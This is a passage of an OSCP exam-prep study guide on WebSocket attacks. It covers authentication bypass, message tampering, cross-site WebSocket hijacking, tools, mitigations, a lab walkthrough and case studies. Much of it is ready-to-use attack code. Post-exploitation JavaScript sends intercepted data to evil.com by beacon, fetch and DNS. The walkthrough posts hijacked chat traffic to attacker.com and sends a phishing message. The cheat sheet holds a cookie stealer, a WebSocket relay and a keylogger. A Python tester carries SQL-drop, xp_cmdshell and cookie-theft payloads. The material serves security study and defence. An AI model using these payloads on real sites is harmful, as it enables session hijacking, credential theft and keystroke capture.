> <input onfocus=alert(1) autofocus>
# Test data URI
> <img src="data:text/html,<script>alert(1)</script>">
Test 4: Authentication Bypass Testing
# Test 1: Connect without authentication
wscat -c wss://victim.com/ws
# Test 2: Connect with invalid cookie
wscat -c wss://victim.com/ws --header "Cookie: sessionid=invalid"
# Test 3: Connect with another user's cookie
wscat -c wss://victim.com/ws --header "Cookie: sessionid=other_user_cookie"
# Test 4: Manipulate authentication headers
wscat -c wss://victim.com/ws \
--header "Cookie: sessionid=valid" \
--header "X-User-Role: admin" \
--header "Authorization: Bearer fake_token"
Test 5: Message Tampering
# Connect and observe normal traffic
wscat -c wss://victim.com/ws
# Intercept and modify messages using Burp Suite
# 1. Enable WebSocket interception in Burp
# 2. Send a normal message
# 3. Intercept the message in Burp
# 4. Modify the message content
# 5. Forward and observe the result
# Example: Modify a chat message
Original: {"type":"message","content":"Hello"}
Modified: {"type":"message","content":"<img src=x onerror=alert(1)>"}
# Example: Modify a command message
Original: {"type":"command","action":"read","file":"public.txt"}
Modified: {"type":"command","action":"read","file":"/etc/passwd"}
5.3 Post-Exploitation Phase
Data Exfiltration
// Once access is gained, exfiltrate data
ws.onmessage = function(event) {
var data = event.data;
// Method 1: Image beacon
var img = new Image();
img.src = 'https://evil.com/exfil?data=' + encodeURIComponent(data.substring(0, 1000));
// Method 2: Fetch API
fetch('https://evil.com/exfil', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({data: data})
});
// Method 3: DNS exfiltration
var encoded = btoa(data).substring(0, 50);
var dnsImg = new Image();
dnsImg.src = 'https://' + encoded + '.evil.com/dns';
};
Persistence
// Maintain persistent access
function maintainConnection() {
var ws = new WebSocket('wss://victim.com/ws');
ws.onopen = function() {
console.log('[*] Persistent connection established');
};
ws.onclose = function() {
console.log('[*] Connection closed, reconnecting...');
setTimeout(maintainConnection, 5000); // Reconnect after 5 seconds
};
ws.onerror = function() {
console.log('[*] Connection error, reconnecting...');
setTimeout(maintainConnection, 5000);
};
}
maintainConnection();
6. Tools for WebSocket Testing
6.1 Burp Suite
Setup
-
Configure Browser Proxy:
- Open Burp Suite
- Go to Proxy > Options
- Ensure intercept is listening on
127.0.0.1:8080 - Configure browser to use this proxy
-
Enable WebSocket Support:
- Burp Suite Professional has built-in WebSocket support
- Free version also supports WebSocket interception
Using Burp for WebSocket Testing
Intercepting WebSocket Traffic:
1. Enable Intercept (Proxy > Intercept > Intercept is on)
2. Navigate to the target application in your browser
3. When a WebSocket connection is initiated, Burp will capture:
- The HTTP upgrade request
- The 101 Switching Protocols response
- All subsequent WebSocket frames
4. Right-click on the captured request
5. Select "Send to Repeater" or "Send to Intruder"
WebSocket Repeater:
1. Send a WebSocket request to Repeater
2. In the Repeater tab, you can:
- Modify the handshake request
- Send custom WebSocket frames
- View server responses
- Test different payloads
3. Use the "Send" button to send modified frames
4. Use the "Send and Exit" button to send and close the connection
WebSocket Intruder:
1. Send a WebSocket request to Intruder
2. Configure attack type (Sniper, Battering Ram, Pitchfork, Cluster Bomb)
3. Set payload positions
4. Configure payload sets
5. Start the attack
Useful for:
- Fuzzing WebSocket messages
- Testing authentication bypass
- Finding injection points
WebSocket Scanner (Professional Only):
1. Enable active scanning for WebSocket
2. Go to Scanner > Active Scan
3. Select the WebSocket request
4. Start the scan
The scanner will automatically test for:
- XSS via WebSocket messages
- Injection vulnerabilities
- Authentication issues
- Information disclosure
6.2 wscat
Installation
# Install via npm
npm install -g wscat
# Verify installation
wscat --version
Basic Usage
# Connect to a WebSocket server
wscat -c wss://example.com/ws
# Connect with custom headers
wscat -c wss://example.com/ws \
--header "Cookie: sessionid=abc123" \
--header "Origin: https://example.com"
# Connect with subprotocol
wscat -c wss://example.com/ws \
--subprotocol "chat,v1"
# Connect with extensions
wscat -c wss://example.com/ws \
--extension "permessage-deflate"
# Print all traffic (handshake + frames)
wscat -c wss://example.com/ws --print
# Connect to a specific URL path
wscat -c wss://example.com/api/v1/stream
# Use a proxy
wscat -c wss://example.com/ws --proxy http://127.0.0.1:8080
Advanced Usage
# Send a file's content as a message
wscat -c wss://example.com/ws < payload.json
# Record session to a file
wscat -c wss://example.com/ws --record session.log
# Replay a recorded session
wscat -c wss://example.com/ws --replay session.log
# Connect with SSL/TLS options
wscat -c wss://example.com/ws --ignore-certificate-errors
# Set a connection timeout
wscat -c wss://example.com/ws --timeout 10
# Connect and send a message, then exit
echo '{"type":"test","data":"hello"}' | wscat -c wss://example.com/ws
Interactive Mode
wscat -c wss://example.com/ws
Connected. Press Ctrl+C to end connection.
> {"type":"ping"}
< {"type":"pong","timestamp":1234567890}
> {"type":"message","content":"Hello, World!"}
< {"type":"message","content":"Hello, World!","id":"msg_001"}
> exit
Connection closed.
6.3 WebSocket Terminal (websockify / websocat)
websocat
# Install
cargo install websocat
# or
sudo apt install websocat
# Basic connection
websocat wss://example.com/ws
# With headers
websocat --header "Cookie: sessionid=abc123" wss://example.com/ws
# Bidirectional file transfer
websocat wss://example.com/ws < input.json > output.json
# Listen mode (create a WebSocket server)
websocat -s ws://127.0.0.1:8080
6.4 Browser Developer Tools
Chrome DevTools
1. Open DevTools (F12)
2. Go to the Network tab
3. Filter by "WS" (WebSocket)
4. Click on a WebSocket connection to view:
- Frames tab: All sent and received messages
- Headers tab: Handshake request and response
- Message tab: Individual message details
5. Right-click on a message > Copy > Copy as cURL
to reproduce the connection
Firefox Developer Tools
1. Open DevTools (F12)
2. Go to the Network tab
3. Filter by "WS"
4. Similar functionality to Chrome
6.5 Custom Python Scripts
WebSocket Client Script
#!/usr/bin/env python3
"""
WebSocket Security Testing Script
"""
import websocket
import ssl
import json
import sys
import time
class WebSocketTester:
def __init__(self, url, headers=None):
self.url = url
self.headers = headers or {}
self.ws = None
def connect(self):
"""Establish WebSocket connection"""
try:
if self.url.startswith('wss://'):
self.ws = websocket.create_connection(
self.url,
header=self.headers,
sslopt={"cert_reqs": ssl.CERT_NONE}
)
else:
self.ws = websocket.create_connection(
self.url,
header=self.headers
)
print("[+] Connection established")
return True
except Exception as e:
print(f"[-] Connection failed: {e}")
return False
def send(self, message):
"""Send a message"""
try:
if isinstance(message, dict):
message = json.dumps(message)
self.ws.send(message)
print(f"[>] Sent: {message}")
except Exception as e:
print(f"[-] Send failed: {e}")
def receive(self, timeout=5):
"""Receive a message"""
try:
self.ws.settimeout(timeout)
message = self.ws.recv()
print(f"[<] Received: {message}")
return message
except websocket.timeout:
print("[!] Receive timeout")
return None
except Exception as e:
print(f"[-] Receive failed: {e}")
return None
def close(self):
"""Close connection"""
if self.ws:
self.ws.close()
print("[*] Connection closed")
def test_xss(self):
"""Test for XSS vulnerabilities"""
xss_payloads = [
'<script>alert(1)</script>',
'<img src=x onerror=alert(1)>',
'<svg onload=alert(1)>',
'<body onload=alert(1)>',
'javascript:alert(1)',
]
print("\n[+] Testing for XSS vulnerabilities...")
for payload in xss_payloads:
print(f"\n[*] Testing payload: {payload}")
self.send({"type": "message", "content": payload})
response = self.receive()
if response:
# Check if payload is reflected
if payload in response:
print(f"[!] POTENTIAL XSS: Payload reflected in response")
else:
print("[.] Payload not reflected (may be sanitized)")
time.sleep(1)
def test_injection(self):
"""Test for injection vulnerabilities"""
injection_payloads = [
"'; DROP TABLE messages; --",
"'; EXEC xp_cmdshell('whoami'); --",
"${7*7}",
"{{constructor.constructor('return this')()}}",
'<script>document.location="https://evil.com/?c="+document.cookie</script>',
]
print("\n[+] Testing for injection vulnerabilities...")
for payload in injection_payloads:
print(f"\n[*] Testing payload: {payload}")
self.send(payload)
response = self.receive()
if response:
print(f"[<] Response: {response[:200]}")
time.sleep(1)
def test_auth_bypass(self):
"""Test for authentication bypass"""
print("\n[+] Testing for authentication bypass...")
# Test without authentication
print("[*] Testing without authentication headers...")
test_ws = WebSocketTester(self.url, headers={})
if test_ws.connect():
print("[!] Connection succeeded without authentication!")
test_ws.close()
else:
print("[.] Connection rejected without authentication")
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <websocket_url> [test_type]")
print(f"Test types: xss, injection, auth, all")
sys.exit(1)
url = sys.argv[1]
test_type = sys.argv[2] if len(sys.argv) > 2 else "all"
tester = WebSocketTester(url)
if tester.connect():
if test_type == "xss":
tester.test_xss()
elif test_type == "injection":
tester.test_injection()
elif test_type == "auth":
tester.test_auth_bypass()
elif test_type == "all":
tester.test_xss()
tester.test_injection()
tester.test_auth_bypass()
tester.close()
if __name__ == "__main__":
main()
Usage
# Run all tests
python3 ws_tester.py wss://victim.com/ws all
# Test for XSS only
python3 ws_tester.py wss://victim.com/ws xss
# Test for injection only
python3 ws_tester.py wss://victim.com/ws injection
# Test for auth bypass
python3 ws_tester.py wss://victim.com/ws auth
6.6 OWASP ZAP
WebSocket Support in ZAP
1. Open OWASP ZAP
2. Configure browser proxy to ZAP (usually 127.0.0.1:8080)
3. Browse the target application
4. WebSocket connections will appear in the Sites tree
5. Right-click on a WebSocket node
6. Select "Attack" > "Active Scan" (if available)
7. Or manually test using the WebSocket client in ZAP
7. Mitigation Strategies
7.1 CSRF Token in WebSocket Handshake
Implementation
The most effective mitigation for CSWSH is to include a CSRF token in the WebSocket handshake, similar to how CSRF tokens protect HTTP requests.
Server-Side (Node.js):
const WebSocket = require('ws');
const http = require('http');
const crypto = require('crypto');
const server = http.createServer();
const wss = new WebSocket.Server({ server });
// Generate CSRF token for each session
function generateCSRFToken() {
return crypto.randomBytes(32).toString('hex');
}
// Store tokens in session store
const tokenStore = new Map();
// HTTP endpoint to get CSRF token
server.on('request', (req, res) => {
if (req.url === '/api/csrf-token') {
const sessionId = req.headers.cookie?.match(/sessionid=([^;]+)/)?.[1];
if (sessionId) {
const token = generateCSRFToken();
tokenStore.set(`${sessionId}_ws`, token);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ csrfToken: token }));
} else {
res.writeHead(401);
res.end('Unauthorized');
}
}
});
// WebSocket connection handler
wss.on('connection', (ws, req) => {
// Extract CSRF token from query string
const url = new URL(req.url, `http://${req.headers.host}`);
const csrfToken = url.searchParams.get('csrf_token');
// Extract session ID from cookie
const sessionId = req.headers.cookie?.match(/sessionid=([^;]+)/)?.[1];
// Validate CSRF token
if (!csrfToken || !sessionId) {
ws.close(4001, 'Missing CSRF token or session');
return;
}
const storedToken = tokenStore.get(`${sessionId}_ws`);
if (!storedToken || csrfToken !== storedToken) {
ws.close(4003, 'Invalid CSRF token');
return;
}
// Token is valid — proceed
tokenStore.delete(`${sessionId}_ws`); // One-time use
console.log('WebSocket connection authenticated with CSRF token');
});
Client-Side:
// Step 1: Get CSRF token via HTTP request
async function getCSRFToken() {
const response = await fetch('/api/csrf-token');
const data = await response.json();
return data.csrfToken;
}
// Step 2: Open WebSocket with CSRF token
async function connectWebSocket() {
const csrfToken = await getCSRFToken();
const ws = new WebSocket(
`wss://example.com/ws?csrf_token=${csrfToken}`
);
ws.onopen = function() {
console.log('Connected with CSRF token');
};
ws.onerror = function() {
console.error('WebSocket connection failed');
};
}
connectWebSocket();
7.2 Origin Header Validation
Implementation
const ALLOWED_ORIGINS = [
'https://example.com',
'https://www.example.com',
'https://app.example.com',
];
function isOriginAllowed(origin) {
if (!origin) {
return false;
}
const normalized = origin.toLowerCase().trim();
return ALLOWED_ORIGINS.some(
allowed => normalized === allowed.toLowerCase()
);
}
wss.on('connection', (ws, req) => {
const origin = req.headers.origin;
if (!isOriginAllowed(origin)) {
ws.close(4003, 'Forbidden: Invalid origin');
console.warn(`Rejected connection from origin: ${origin}`);
return;
}
// Continue with authentication...
});
7.3 Double-Submit Cookie Pattern
Implementation
The double-submit cookie pattern uses a cookie that the client must echo back in the request. Since the attacker cannot read the victim’s cookies (due to SOP), they cannot include the correct value.
Server-Side:
// Set a double-submit cookie via HTTP
server.on('request', (req, res) => {
if (req.url === '/api/ws-auth') {
const sessionId = req.headers.cookie?.match(/sessionid=([^;]+)/)?.[1];
if (sessionId) {
const wsToken = crypto.randomBytes(16).toString('hex');
// Set cookie (accessible to JavaScript)
res.setHeader('Set-Cookie',
`ws_token=${wsToken}; Path=/; SameSite=Strict`
);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ success: true }));
}
}
});
// Validate in WebSocket handshake
wss.on('connection', (ws, req) => {
const cookies = parseCookies(req.headers.cookie);
const wsToken = cookies['ws_token'];
// Also check query parameter (double-submit)
const url = new URL(req.url, `http://${req.headers.host}`);
const tokenParam = url.searchParams.get('ws_token');
if (!wsToken || !tokenParam || wsToken !== tokenParam) {
ws.close(4003, 'Invalid double-submit token');
return;
}
// Valid connection
});
7.4 Additional Mitigations
SameSite Cookie Attribute
Set-Cookie: sessionid=abc123; Path=/; SameSite=Strict; Secure; HttpOnly
Note: SameSite cookies help prevent CSRF but do NOT fully protect against CSWSH because WebSocket handshakes may still send SameSite cookies in some browser implementations. Use as defense-in-depth, not as the sole mitigation.
Authentication Token in URL
// Include a one-time token in the WebSocket URL
const token = generateOneTimeToken();
const wsUrl = `wss://example.com/ws?auth_token=${token}`;
const ws = new WebSocket(wsUrl);
Message-Level Authentication
// Sign each WebSocket message with a shared secret
const crypto = require('crypto');
function signMessage(message, secret) {
const hmac = crypto.createHmac('sha256', secret);
hmac.update(message);
return hmac.digest('hex');
}
// Client sends signed messages
const message = JSON.stringify({ type: 'chat', content: 'Hello' });
const signature = signMessage(message, sharedSecret);
ws.send(JSON.stringify({
data: message,
signature: signature,
timestamp: Date.now()
}));
// Server validates signature
ws.on('message', (data) => {
const parsed = JSON.parse(data.toString());
const expectedSig = signMessage(parsed.data, sharedSecret);
if (parsed.signature !== expectedSig) {
ws.close(4004, 'Invalid message signature');
return;
}
// Process valid message
});
Input Sanitization
const DOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const purify = DOMPurify(window);
// Sanitize all incoming WebSocket messages
ws.on('message', (data) => {
const parsed = JSON.parse(data.toString());
// Sanitize user-supplied content
parsed.content = purify.sanitize(parsed.content, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'u'],
ALLOWED_ATTR: []
});
// Broadcast sanitized message
broadcast(parsed);
});
8. OSCP Specific Tips and Lab Scenarios
8.1 What to Expect on the OSCP Exam
WebSocket-Related Scenarios
While WebSocket-specific questions are not extremely common on the OSCP exam, understanding WebSocket attacks is valuable because:
- Web applications may use WebSocket for real-time features
- CSWSH can lead to session hijacking and privilege escalation
- XSS via WebSocket messages is a valid attack vector
- Information disclosure through WebSocket traffic can aid further attacks
Common OSCP Lab Scenarios Involving WebSockets
| Scenario | Description | Exploitation Path |
|---|---|---|
| Chat Application | Real-time chat with WebSocket | CSWSH → Session Hijack → Admin Access |
| Live Dashboard | Real-time data display | XSS via WebSocket → Cookie Theft → Admin Panel |
| Collaborative Editor | Shared document editing | Message Injection → Stored XSS → RCE |
| Notification System | Real-time notifications | CSWSH → Read Sensitive Data → Credential Harvest |
| Gaming Application | Multiplayer game with WebSocket | Message Tampering → Cheat/Exploit → Flag Access |
8.2 OSCP Exam Tips
Tip 1: Always Check for WebSocket Connections
# During web app testing, always check for WebSocket usage
# Method 1: Burp Suite
# - Check Proxy > HTTP History for "101 Switching Protocols"
# - Look for WebSocket upgrade requests
# Method 2: Browser DevTools
# - Open Network tab
# - Filter by "WS"
# - Check for active WebSocket connections
# Method 3: Source Code Review
# - Search for "new WebSocket" in JavaScript files
# - Search for "wss://" or "ws://" in source code
Tip 2: Test for CSWSH on Every WebSocket Endpoint
// Quick CSWSH test — add this to your toolkit
// Create a simple HTML file on a different domain
// Or use browser console on a different domain
var ws = new WebSocket('wss://target.com/ws');
ws.onopen = function() {
console.log('[+] CSWSH VULNERABLE');
ws.close();
};
ws.onerror = function() {
console.log('[-] CSWSH Protected');
};
Tip 3: Look for XSS via WebSocket Messages
# When you find a WebSocket endpoint, test for XSS
wscat -c wss://target.com/ws
# Send XSS payloads
> <script>alert(document.domain)</script>
> <img src=x onerror=alert(document.domain)>
# If the payload is reflected or if you see it in other users' views,
# you have a stored XSS vulnerability
Tip 4: Capture WebSocket Traffic in Burp
1. Make sure Burp is intercepting traffic
2. Navigate to the web application
3. When WebSocket connections are established, they appear in:
- Proxy > HTTP History (handshake)
- Proxy > WebSocket History (frames)
4. Right-click any WebSocket request > Send to Repeater
5. Modify and resend to test for vulnerabilities
Tip 5: Use WebSocket for Information Gathering
# WebSocket messages may contain sensitive information
wscat -c wss://target.com/ws
# Observe messages for:
# - Usernames and emails
# - Internal URLs and API endpoints
# - Configuration data
# - Database queries
# - File paths
# - Authentication tokens
8.3 Lab Walkthrough Example
Scenario: Chat Application with CSWSH Vulnerability
Step 1: Reconnaissance
# Nmap scan reveals web server
nmap -sV -p 80,443,8080 10.10.10.100
# Output:
# PORT STATE SERVICE VERSION
# 80/tcp open http Apache httpd 2.4.41
# 443/tcp open ssl/http Apache httpd 2.4.41
# 8080/tcp open http Node.js Express
Step 2: Web Application Analysis
# Browse to http://10.10.10.100
# Find a chat application at /chat
# Check source code for WebSocket references
# Found: new WebSocket('ws://10.10.10.100:8080/ws/chat')
Step 3: WebSocket Analysis
# Connect to the WebSocket server
wscat -c ws://10.10.10.100:8080/ws/chat
# Observe message format
> {"type":"join","username":"tester"}
< {"type":"welcome","message":"Hello tester!","userId":"usr_123"}
> {"type":"message","content":"Hello World"}
< {"type":"message","user":"tester","content":"Hello World","id":"msg_001"}
Step 4: Test for CSWSH
# Check if the server validates Origin header
# Use Burp Repeater to modify the Origin header
# Original handshake:
GET /ws/chat HTTP/1.1
Host: 10.10.10.100:8080
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: http://10.10.10.100
Cookie: sessionid=abc123
# Modified handshake (different Origin):
GET /ws/chat HTTP/1.1
Host: 10.10.10.100:8080
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: http://evil.com
Cookie: sessionid=abc123
# If the server accepts the connection with a different Origin,
# CSWSH is possible!
Step 5: Exploit CSWSH
// Create attacker page
// evil.com/hijack.html
var victimCookie = 'sessionid=abc123'; // Obtained via XSS or other means
var ws = new WebSocket('ws://10.10.10.100:8080/ws/chat');
ws.onopen = function() {
console.log('[+] CSWSH successful!');
// Join as the victim
ws.send(JSON.stringify({
type: 'join',
username: 'victim_user'
}));
};
ws.onmessage = function(event) {
console.log('[*] Intercepted:', event.data);
// Exfiltrate to attacker server
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker.com/collect', true);
xhr.send(event.data);
};
Step 6: Escalate
# Through the hijacked WebSocket, you may be able to:
# - Read private messages containing credentials
# - Send messages to admin users with malicious links
# - Access admin-only WebSocket channels
# - Execute admin actions if the chat app has command features
# Example: Send a phishing message to admin
ws.send(JSON.stringify({
type: 'message',
content: 'Admin, please check this urgent link: http://attacker.com/phish?token=...'
}));
8.4 Common OSCP WebSocket Vulnerabilities
| Vulnerability | Likelihood | Impact | Detection Difficulty |
|---|---|---|---|
| CSWSH (no Origin validation) | Medium | High | Easy |
| XSS via WebSocket messages | Medium | High | Medium |
| Missing authentication | Low | Critical | Easy |
| Information disclosure | High | Medium | Easy |
| Message tampering | Medium | Medium | Medium |
| Rate limiting absence | Low | Low | Easy |
8.5 Quick OSCP Checklist for WebSocket Testing
□ Identify WebSocket endpoints (Burp, DevTools, source code)
□ Capture and analyze handshake requests
□ Check for Origin header validation
□ Test for CSWSH (connect from different origin)
□ Test for cookie-only authentication
□ Send XSS payloads via WebSocket messages
□ Check for stored XSS (messages persisted and served to others)
□ Test for message injection (SQLi, command injection, SSRF)
□ Check for authentication bypass
□ Look for sensitive data in WebSocket messages
□ Test for rate limiting and DoS vectors
□ Document all findings
9. Real-World Case Studies
9.1 Case Study 1: LiveChat CSWSH Vulnerability
Application: Enterprise live chat platform Vulnerability: CSWSH due to missing Origin validation Impact: Attacker could hijack agent sessions and intercept customer conversations
Technical Details:
- The chat platform used WebSocket for real-time messaging
- Authentication was based solely on session cookies
- No Origin header validation was implemented
- No CSRF tokens were included in the WebSocket handshake
Exploitation:
// Attacker page
var ws = new WebSocket('wss://livechat.example.com/agent/ws');
ws.onopen = function() {
// Hijack agent session
ws.send(JSON.stringify({
type: 'subscribe',
channel: 'customer_conversations'
}));
};
ws.onmessage = function(event) {
// Intercept all customer conversations
exfiltrate(event.data);
};
Remediation:
- Implemented Origin header validation
- Added CSRF tokens to WebSocket handshake
- Added message-level authentication
9.2 Case Study 2: Trading Platform XSS via WebSocket
Application: Online stock trading platform Vulnerability: Stored XSS via unsanitized WebSocket messages Impact: Attacker could steal trading credentials and execute unauthorized trades
Technical Details:
- The platform used WebSocket for real-time price updates and chat
- Chat messages were stored in a database and broadcast to all users
- No input sanitization was performed on WebSocket messages
- Messages were rendered using innerHTML
Exploitation:
// Attacker sends XSS payload via WebSocket
ws.send(JSON.stringify({
type: 'chat_message',
content: '<img src=x onerror="fetch(\'https://evil.com/steal?cookie=\'+document.cookie)">'
}));
// All users viewing the chat execute the payload
Remediation:
- Implemented input sanitization using DOMPurify
- Changed from innerHTML to textContent for message rendering
- Added Content Security Policy (CSP) headers
9.3 Case Study 3: IoT Dashboard Authentication Bypass
Application: IoT device management dashboard Vulnerability: WebSocket authentication bypass via missing Origin check Impact: Attacker could control IoT devices remotely
Technical Details:
- The dashboard used WebSocket to send commands to IoT devices
- Authentication was based on session cookies
- No Origin validation was performed
- No additional authentication tokens were required
Exploitation:
// Attacker page
var ws = new WebSocket('wss://iot.example.com/devices/ws');
ws.onopen = function() {
// Send commands to victim's devices
ws.send(JSON.stringify({
type: 'command',
deviceId: 'device_123',
action: 'unlock_door'
}));
};
Remediation:
- Implemented strict Origin validation
- Added one-time tokens to WebSocket URLs
- Implemented message signing for device commands
10. Quick Reference Cheat Sheet
10.1 WebSocket Attack Summary
| Attack Type | Description | Prerequisites | Impact |
|---|---|---|---|
| CSWSH | Hijack WebSocket session via cookie theft | Cookie auth, no Origin validation, no CSRF token | Session hijacking, data theft, impersonation |
| XSS via WebSocket | Inject malicious scripts via WebSocket messages | Unsanitized message handling, unsafe DOM insertion | Cookie theft, session hijacking, RCE |
| Auth Bypass | Connect without proper authentication | Missing auth checks, weak validation | Unauthorized access |
| Message Injection | Inject malicious payloads into messages | Unsanitized input processing | XSS, SQLi, command injection, SSRF |
| Origin Bypass | Bypass Origin header validation | Weak or missing Origin checks | CSWSH, unauthorized access |
10.2 Quick Commands Reference
# Connect to WebSocket
wscat -c wss://target.com/ws
# Connect with headers
wscat -c wss://target.com/ws --header "Cookie: sessionid=abc123"
# Print all traffic
wscat -c wss://target.com/ws --print
# Send file content
wscat -c wss://target.com/ws < payload.json
# Python WebSocket client
python3 -c "
import websocket
ws = websocket.create_connection('wss://target.com/ws')
ws.send('Hello')
print(ws.recv())
ws.close()
"
10.3 Quick XSS Payloads for WebSocket
// Basic XSS
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
// Cookie stealer
<img src=x onerror="new Image().src='https://evil.com/?c='+document.cookie">
// WebSocket relay
<script>
var ws = new WebSocket('wss://evil.com/relay');
ws.onopen = function() { ws.send(document.cookie); };
</script>
// Keylogger
<script>
document.onkeypress = function(e) {
new Image().src = 'https://evil.com/log?k=' + e.key;
};
</script>
10.4 Mitigation Checklist
□ Validate Origin header against a whitelist
□ Implement CSRF tokens in WebSocket handshake
□ Use double-submit cookie pattern
□ Sanitize all incoming WebSocket messages
□ Use textContent instead of innerHTML for rendering
□ Implement message-level authentication/signing
□ Set SameSite attribute on cookies
□ Use Secure and HttpOnly flags on cookies
□ Implement rate limiting on WebSocket connections
□ Log and monitor WebSocket connections
□ Use Content Security Policy (CSP) headers
□ Implement proper error handling (don't leak info)
10.5 Burp Suite WebSocket Workflow
1. Configure browser proxy → Burp Suite
2. Browse target application
3. Check Proxy > HTTP History for WebSocket handshakes
4. Right-click WebSocket request → Send to Repeater
5. Modify handshake or messages in Repeater
6. Send modified requests
7. Analyze responses for vulnerabilities
8. Use Intruder for automated testing
9. Document findings
Appendix A: WebSocket Frame Encoding Reference
Frame Construction
Client → Server frames MUST be masked
Server → Client frames MUST NOT be masked
Masking algorithm:
for i from 0 to payload_length - 1:
masked_payload[i] = payload[i] XOR masking_key[i mod 4]
Example Frame (Text Message “Hello”)
Unmasked (Server → Client):
0x81 0x05 48 65 6c 6c 6f
│ │ └─────────────── Payload: "Hello"
│ └──────────────────── Payload length: 5
└───────────────────────── FIN=1, Opcode=0x1 (Text)
Masked (Client → Server):
0x81 0x85 [4-byte masking key] [masked payload]
│ │
│ └── 0x80 (masked) + 0x05 (length 5)
└─────── FIN=1, Opcode=0x1 (Text)
Appendix B: WebSocket Close Codes
| Code | Status | Description |
|---|---|---|
| 1000 | NORMAL_CLOSURE | Normal closure; either party completed its purpose |
| 1001 | GOING_AWAY | Endpoint going away (server shutting down, browser navigating away) |
| 1002 | PROTOCOL_ERROR | Endpoint terminating due to protocol error |
| 1003 | UNSUPPORTED_DATA | Endpoint received unexpected type of data |
| 1005 | NO_STATUS_RECEIVED | No status code received (reserved, not sent) |
| 1006 | ABNORMAL_CLOSURE | Connection closed abnormally (no close frame) |
| 1007 | INVALID_FRAME_PAYLOAD_DATA | Invalid frame payload data (e.g., invalid UTF-8) |
| 1008 | POLICY_VIOLATION | Endpoint violated policy |
| 1009 | MESSAGE_TOO_BIG | Message too big to process |
| 1010 | MANDATORY_EXT | Client expected server to negotiate extension(s) |
| 1011 | INTERNAL_ERROR | Server encountered unexpected condition |
| 1012 | SERVICE_RESTART | Server restarting |
| 1013 | TRY_AGAIN_LATER | Server busy, try again later |
| 1014 | BAD_GATEWAY | Server acting as gateway received invalid response |
| 1015 | TLS_HANDSHAKE | Transport handshake failed (reserved, not sent) |
| 4000-4999 | CUSTOM | Application-specific close codes |
Appendix C: Further Reading and Resources
Specifications and Standards
Security Resources
- OWASP WebSocket Security Cheat Sheet
- PortSwigger WebSocket Security Testing Guide
- CSWSH — Cross-Site WebSocket Hijacking
Tools
- wscat — WebSocket client for Node.js
- Burp Suite — Professional Web Security Testing
- OWASP ZAP — Web Application Security Scanner
- websocat — WebSocket client and server
Practice Platforms
- PortSwigger Web Security Academy — WebSocket Labs
- OWASP WebGoat — WebSocket Challenges
- HackTheBox — WebSocket Challenges
This study note was prepared for OSCP exam preparation. Always ensure you have proper authorization before testing any system. Unauthorized access to computer systems is illegal and unethical.
Last Updated: 2026-09-01 Topic: WebSocket Attacks | Chapter 08: Client-Side Attacks | Domain: Client-Side Attacks